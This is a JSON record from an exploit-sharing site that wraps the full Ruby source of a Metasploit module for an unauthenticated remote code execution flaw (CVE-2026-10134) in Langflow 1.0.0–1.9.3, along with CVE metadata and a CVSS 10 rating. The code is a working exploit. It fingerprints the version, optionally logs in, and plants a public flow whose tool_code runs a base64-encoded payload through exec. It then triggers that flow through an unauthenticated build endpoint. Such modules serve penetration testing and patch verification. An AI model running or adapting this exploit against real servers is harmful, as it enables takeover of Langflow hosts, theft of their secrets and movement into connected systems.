{"exploit":{"id":"MSF-multi--http--langflow_unauth_rce_cve_2026_10134","name":"Langflow AI Public Flow Build Unauth RCE","description":"Langflow versions 1.0.0 through 1.9.3 are susceptible to unauthenticated remote code execution due to improper handling of a public flow's `tool_code` field and a lack of required authentication for the `/api/v1/build_public_tmp/<flow_id>/flow` endpoint. If a target instance exposes a public flow and its UUID, an unauthenticated remote attacker can supply malicious code payloads via parameters like tool_code targeting paths under /api/v1/ without needing any valid credentials. If no flow UUIDs are exposed, an authenticated attacker can create one in order to exploit this vulnerability. Arbitrary code is executed under the context of the Langflow backend process.","cves":["CVE-2026-10134"],"author":"Richard Howe","published":"2026-07-17","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb","path":"modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_unauth_rce_cve_2026_10134.rb","vulnerabilities":[{"id":"CVE-2026-10134","state":"PUBLISHED","title":"Unauthenticated Server-Side RCE via PythonCodeStructuredTool in Public Flows","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.9.3 allows an attacker to read every secret available to the Langflow process, read and modify every flow, conversation, message, file upload, and saved component in the Langflow database, can connect to internal services, abuse cloud metadata endpoints, laterally move to other tenants on the same Langflow instance, and Establish persistence by modifying the public flow's `tool_code` so normal `/api/v1/build/...` calls by any user re-execute attacker code at each build.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-10134","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-10134"},"updatedAt":"2026-07-01T17:27:28.738Z","retrievedAt":"2026-11-25T16:13:47.337Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_10134.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_10134","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_10134/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_10134/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI Public Flow Build Unauth RCE',\n        'Description' => %q{\n          Langflow versions 1.0.0 through 1.9.3 are susceptible to unauthenticated remote code\n          execution due to improper handling of a public flow's `tool_code` field and a lack\n          of required authentication for the `/api/v1/build_public_tmp/<flow_id>/flow` endpoint.\n\n          If a target instance exposes a public flow and its UUID, an unauthenticated remote attacker\n          can supply malicious code payloads via parameters like tool_code targeting paths under\n          /api/v1/ without needing any valid credentials. If no flow UUIDs are exposed, an authenticated\n          attacker can create one in order to exploit this vulnerability.\n\n          Arbitrary code is executed under the context of the Langflow backend process.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-10134'],\n          ['URL', 'https://www.ibm.com/support/pages/security-bulletin-unauthenticated-server-side-rce-pythoncodestructuredtool-public-flows']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'RPORT' => 7860 },\n        'DisclosureDate' => '2026-07-17',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        ),\n        OptString.new(\n          'USERNAME',\n          [false, 'Langflow username', '']\n        ),\n        OptString.new(\n          'PASSWORD',\n          [false, 'Langflow password', '']\n        ),\n        OptString.new(\n          'FLOW_UUID',\n          [false, 'The UUID of an existing public Langflow flow', '']\n        )\n      ]\n    )\n  end\n\n  def get_token(username, password)\n    data = {\n      'username' => username,\n      'password' => password\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),\n      'vars_post' => data\n    )\n\n    return unless res&.code&.between?(200, 299)\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['access_token']\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    begin\n      version = Rex::Version.new(version_str.to_s)\n    rescue ArgumentError => e\n      return Exploit::CheckCode::Unknown(\"Failed to parse version '#{version_str}': #{e.message}\")\n    end\n\n    if (version >= Rex::Version.new('1.0.0')) &&\n       (version <= Rex::Version.new('1.9.3'))\n      return Exploit::CheckCode::Appears(\n        \"Version #{version} detected, which appears vulnerable.\"\n      )\n    end\n\n    Exploit::CheckCode::Safe(\"Version #{version} detected, which is not vulnerable.\")\n  end\n\n  def create_flow\n    vars = Rex::RandomIdentifier::Generator.new(language: :python)\n\n    node_id = vars[:node_name]\n    tool_name = vars[:tool_name]\n    flow_name = vars[:flow_name]\n    node_description = vars[:node_description]\n    node_displayname = vars[:node_displayname]\n    tool_description = vars[:tool_description]\n    payload_function = vars[:payload_function]\n\n    component_stub = \"from lfx.custom import Component\\n\" \\\n                     \"import json\\n\" \\\n                     \"from typing import Any\\n\" \\\n                     \"from langchain_core.tools import StructuredTool\\n\" \\\n                     \"from pydantic.v1 import Field, create_model\\n\" \\\n                     \"from pydantic.v1.fields import Undefined\\n\" \\\n                     \"from lfx.schema.data import Data\\n\" \\\n                     \"_fired = [False]\\n\" \\\n                     \"\\n\" \\\n                     \"class PythonCodeStructuredTool(Component):\\n\" \\\n                     \"    DEFAULT_KEYS = [\\n\" \\\n                     \"        \\\"code\\\", \\\"_type\\\", \\\"text_key\\\", \\\"tool_code\\\", \\\"tool_name\\\",\\n\" \\\n                     \"        \\\"tool_description\\\", \\\"return_direct\\\", \\\"tool_function\\\",\\n\" \\\n                     \"        \\\"global_variables\\\", \\\"_classes\\\", \\\"_functions\\\"\\n\" \\\n                     \"    ]\\n\" \\\n                     \"\\n\" \\\n                     \"    async def build_tool(self):\\n\" \\\n                     \"        local_namespace = {}\\n\" \\\n                     \"        modules = self._find_imports(self.tool_code)\\n\" \\\n                     \"        import_code = \\\"\\\"\\n\" \\\n                     \"        for module in modules[\\\"imports\\\"]:\\n\" \\\n                     \"            import_code += f\\\"global {module}\\\\\\\\nimport {module}\\\\\\\\n\\\"\\n\" \\\n                     \"        for from_module in modules[\\\"from_imports\\\"]:\\n\" \\\n                     \"            for alias in from_module.names:\\n\" \\\n                     \"                import_code += f\\\"global {alias.name}\\\\\\\\n\\\"\\n\" \\\n                     \"            import_code += (\\n\" \\\n                     \"                f\\\"from {from_module.module} import {', '.join([alias.name for alias in from_module.names])}\\\\\\\\n\\\"\\n\" \\\n                     \"            )\\n\" \\\n                     \"        exec(import_code, globals())\\n\" \\\n                     \"        exec(self.tool_code, globals(), local_namespace)\\n\" \\\n                     \"\\n\" \\\n                     \"        class PythonCodeToolFunc:\\n\" \\\n                     \"            params: dict = {}\\n\" \\\n                     \"\\n\" \\\n                     \"            def run(**kwargs):\\n\" \\\n                     \"                for key, arg in kwargs.items():\\n\" \\\n                     \"                    if key not in PythonCodeToolFunc.params:\\n\" \\\n                     \"                        PythonCodeToolFunc.params[key] = arg\\n\" \\\n                     \"                return local_namespace[self.tool_function](**PythonCodeToolFunc.params)\\n\" \\\n                     \"\\n\" \\\n                     \"        globals_ = globals()\\n\" \\\n                     \"        local = {}\\n\" \\\n                     \"        local[self.tool_function] = PythonCodeToolFunc\\n\" \\\n                     \"        globals_.update(local)\\n\" \\\n                     \"\\n\" \\\n                     \"        if isinstance(self.global_variables, list):\\n\" \\\n                     \"            for data in self.global_variables:\\n\" \\\n                     \"                if isinstance(data, Data):\\n\" \\\n                     \"                    globals_.update(data.data)\\n\" \\\n                     \"        elif isinstance(self.global_variables, dict):\\n\" \\\n                     \"            globals_.update(self.global_variables)\\n\" \\\n                     \"\\n\" \\\n                     \"        classes = json.loads(self._attributes[\\\"_classes\\\"])\\n\" \\\n                     \"        for class_dict in classes:\\n\" \\\n                     \"            exec(\\\"\\\\\\\\n\\\".join(class_dict[\\\"code\\\"]), globals_)\\n\" \\\n                     \"\\n\" \\\n                     \"        named_functions = json.loads(self._attributes[\\\"_functions\\\"])\\n\" \\\n                     \"        schema_fields = {}\\n\" \\\n                     \"\\n\" \\\n                     \"        for attr in self._attributes:\\n\" \\\n                     \"            if attr in self.DEFAULT_KEYS:\\n\" \\\n                     \"                continue\\n\" \\\n                     \"            func_name = attr.split(\\\"|\\\")[0]\\n\" \\\n                     \"            field_name = attr.split(\\\"|\\\")[1]\\n\" \\\n                     \"            func_arg = self._find_arg(named_functions, func_name, field_name)\\n\" \\\n                     \"            if func_arg is None:\\n\" \\\n                     \"                raise ValueError(f\\\"Failed to find arg: {field_name}\\\")\\n\" \\\n                     \"            field_annotation = func_arg[\\\"annotation\\\"]\\n\" \\\n                     \"            field_description = self._get_value(self._attributes[attr], str)\\n\" \\\n                     \"            if field_annotation:\\n\" \\\n                     \"                exec(f\\\"temp_annotation_type = {field_annotation}\\\", globals_)\\n\" \\\n                     \"                schema_annotation = globals_[\\\"temp_annotation_type\\\"]\\n\" \\\n                     \"            else:\\n\" \\\n                     \"                schema_annotation = Any\\n\" \\\n                     \"            schema_fields[field_name] = (\\n\" \\\n                     \"                schema_annotation,\\n\" \\\n                     \"                Field(\\n\" \\\n                     \"                    default=func_arg.get(\\\"default\\\", Undefined),\\n\" \\\n                     \"                    description=field_description,\\n\" \\\n                     \"                ),\\n\" \\\n                     \"            )\\n\" \\\n                     \"\\n\" \\\n                     \"        if \\\"temp_annotation_type\\\" in globals():\\n\" \\\n                     \"            globals_.pop(\\\"temp_annotation_type\\\")\\n\" \\\n                     \"\\n\" \\\n                     \"        python_code_tool_schema = None\\n\" \\\n                     \"        if schema_fields:\\n\" \\\n                     \"            python_code_tool_schema = create_model(\\\"PythonCodeToolSchema\\\", **schema_fields)\\n\" \\\n                     \"\\n\" \\\n                     \"        return StructuredTool.from_function(\\n\" \\\n                     \"            func=local[self.tool_function].run,\\n\" \\\n                     \"            args_schema=python_code_tool_schema,\\n\" \\\n                     \"            name=self.tool_name,\\n\" \\\n                     \"            description=self.tool_description,\\n\" \\\n                     \"            return_direct=self.return_direct,\\n\" \\\n                     \"        )\\n\" \\\n                     \"\\n\" \\\n                     \"    def _find_imports(self, code):\\n\" \\\n                     \"        import ast\\n\" \\\n                     \"        imports = []\\n\" \\\n                     \"        from_imports = []\\n\" \\\n                     \"        parsed_code = ast.parse(code)\\n\" \\\n                     \"        for node in parsed_code.body:\\n\" \\\n                     \"            if isinstance(node, ast.Import):\\n\" \\\n                     \"                imports.extend(alias.name for alias in node.names)\\n\" \\\n                     \"            elif isinstance(node, ast.ImportFrom):\\n\" \\\n                     \"                from_imports.append(node)\\n\" \\\n                     \"        return {\\\"imports\\\": imports, \\\"from_imports\\\": from_imports}\\n\" \\\n                     \"\\n\" \\\n                     \"    def _get_value(self, value, annotation):\\n\" \\\n                     \"        return value if isinstance(value, annotation) else value[\\\"value\\\"]\\n\" \\\n                     \"\\n\" \\\n                     \"    def _find_arg(self, named_functions, func_name, arg_name):\\n\" \\\n                     \"        for arg in named_functions[func_name][\\\"args\\\"]:\\n\" \\\n                     \"            if arg[\\\"name\\\"] == arg_name:\\n\" \\\n                     \"                return arg\\n\" \\\n                     \"        return None\\n\"\n\n    b64_payload = Rex::Text.encode_base64(payload.encoded)\n\n    malicious_code = \"@(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(__import__('base64').b64decode('#{b64_payload}'))), f)[-1])\\n\" \\\n                     \"def #{payload_function}() -> str:\\n\" \\\n                     \"    return _probe_output\\n\"\n\n    template = {\n      '_type' => 'Component',\n      'code' => {\n        'value' => component_stub,\n        'type' => 'code',\n        'show' => true,\n        'required' => true,\n        'name' => 'code'\n      },\n      'tool_code' => {\n        'value' => malicious_code,\n        'type' => 'str',\n        'show' => true,\n        'required' => true,\n        'name' => 'tool_code'\n      },\n      'tool_name' => {\n        'value' => tool_name,\n        'type' => 'str',\n        'show' => true,\n        'required' => true,\n        'name' => 'tool_name'\n      },\n      'tool_description' => {\n        'value' => tool_description,\n        'type' => 'str',\n        'show' => true,\n        'required' => true,\n        'name' => 'tool_description'\n      },\n      'tool_function' => {\n        'value' => payload_function,\n        'type' => 'str',\n        'show' => true,\n        'required' => true,\n        'name' => 'tool_function',\n        'options' => ['run']\n      },\n      'return_direct' => {\n        'value' => false,\n        'type' => 'bool',\n        'show' => true,\n        'required' => false,\n        'name' => 'return_direct'\n      },\n      'global_variables' => {\n        'value' => {},\n        'type' => 'dict',\n        'show' => true,\n        'required' => false,\n        'name' => 'global_variables'\n      },\n      '_classes' => {\n        'value' => '[]',\n        'type' => 'str',\n        'show' => true,\n        'required' => false,\n        'name' => '_classes'\n      },\n      '_functions' => {\n        'value' => '{}',\n        'type' => 'str',\n        'show' => true,\n        'required' => false,\n        'name' => '_functions'\n      }\n    }\n\n    node = {\n      'id' => node_id,\n      'type' => 'genericNode',\n      'position' => {\n        'x' => 100,\n        'y' => 100\n      },\n      'data' => {\n        'id' => node_id,\n        'type' => 'PythonCodeStructuredTool',\n        'node' => {\n          'description' => node_description,\n          'display_name' => node_displayname,\n          'base_classes' => ['Tool'],\n          'outputs' => [\n            {\n              'name' => 'result_tool',\n              'method' => 'build_tool',\n              'display_name' => 'Tool',\n              'selected' => 'Tool',\n              'types' => ['Tool'],\n              'value' => '__UNDEFINED__'\n            }\n          ],\n          'template' => template\n        }\n      }\n    }\n\n    flow = {\n      'name' => flow_name,\n      'access_type' => 'PUBLIC',\n      'data' => {\n        'nodes' => [node],\n        'edges' => []\n      }\n    }\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),\n        'headers' => {\n          'Content-Type' => 'application/json',\n          'Authorization' => \"Bearer #{@token}\"\n        },\n        'data' => flow.to_json\n      }\n    )\n\n    unless res&.code&.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')\n    end\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['id']\n  end\n\n  def exploit\n    flow_uuid = datastore['FLOW_UUID']\n    cookie = Rex::Text.rand_text_alpha(8)\n\n    if flow_uuid.blank?\n      username = datastore['USERNAME']\n      password = datastore['PASSWORD']\n\n      if username.blank? || password.blank?\n        fail_with(Failure::BadConfig, 'Either FLOW_UUID or both USERNAME and PASSWORD must be provided.')\n      end\n\n      @token = get_token(username, password)\n      if @token.to_s.empty?\n        fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')\n      end\n\n      @flow_id = create_flow\n      if @flow_id.to_s.empty?\n        fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')\n      end\n    else\n      @flow_id = flow_uuid\n    end\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(\n        target_uri.path,\n        \"api/v1/build_public_tmp/#{@flow_id}/flow\"\n      ),\n      'headers' => {\n        'Content-Type' => 'application/json',\n        'Cookie' => \"client_id=#{cookie}\"\n      },\n      'data' => {}.to_json\n    )\n\n    unless res&.code&.between?(200, 299)\n      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')\n    end\n  end\n\n  def cleanup\n    super\n    return if @flow_id.to_s.empty? || @token.to_s.empty?\n\n    print_status(\"Deleting flow #{@flow_id}...\")\n    res = send_request_cgi(\n      'method' => 'DELETE',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/flows', @flow_id),\n      'headers' => {\n        'Authorization' => \"Bearer #{@token}\"\n      }\n    )\n\n    if res&.code == 200\n      vprint_good(\"Successfully deleted flow #{@flow_id}\")\n    else\n      print_warning(\"Failed to delete flow #{@flow_id}\")\n    end\n  end\nend\n","sha256":"e9b4339f4b4ff20735f9698e0b950e9d2ef73a41632d33e6134064a2cc78158b","bytes":17304,"fetchedAt":"2026-11-25T16:31:00.694Z","encoding":"utf-8 (display only; download retains original bytes)"}